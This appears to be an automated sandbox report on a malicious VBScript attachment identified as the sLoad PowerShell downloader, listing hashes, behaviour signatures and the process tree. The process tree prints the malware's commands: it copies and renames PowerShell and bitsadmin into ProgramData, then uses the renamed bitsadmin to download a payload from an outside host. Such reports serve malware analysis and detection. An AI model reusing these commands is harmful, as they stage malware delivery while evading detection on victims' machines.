Analysis

  • max time kernel
    117s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21-02-2022 22:48

General

  • Target

    Allegato_doc_JNKMTJ64B29L424O.vbs

  • Size

    8KB

  • MD5

    5d2f707cea7e80c85d83f14213e1d7e0

  • SHA1

    6a7e4e3a532ef4cbbf77508931324a20fe79d7e2

  • SHA256

    d3d75e2f255c63ccc14496877d562f04641da53ce9bf064b1b8e4969034cce9a

  • SHA512

    beb572b51df993ed0a7464789a211d79b906387fdcceff2bcb517c98f83c933fc3513c6e707ae3b7209b1f6d618ccbd7284b17704083b8023e1c61ccf6868090

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_JNKMTJ64B29L424O.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:948
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:520
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe
        3⤵
          PID:588
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe
          3⤵
            PID:996
        • C:\ProgramData\wjOytesin.exe
          "C:\ProgramData\wjOytesin.exe" /transfer szPZvX /download https://cxminute.com/minu/JNKMTJ64B29L424O/uk.css C:\Users\Admin\AppData\Roaming\uk.css
          2⤵
          • Executes dropped EXE
          PID:1376

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\wjOytesin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\wjOytesin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/948-55-0x000007FEFC2A1000-0x000007FEFC2A3000-memory.dmp

        Filesize

        8KB

      • memory/1376-58-0x0000000076B81000-0x0000000076B83000-memory.dmp

        Filesize

        8KB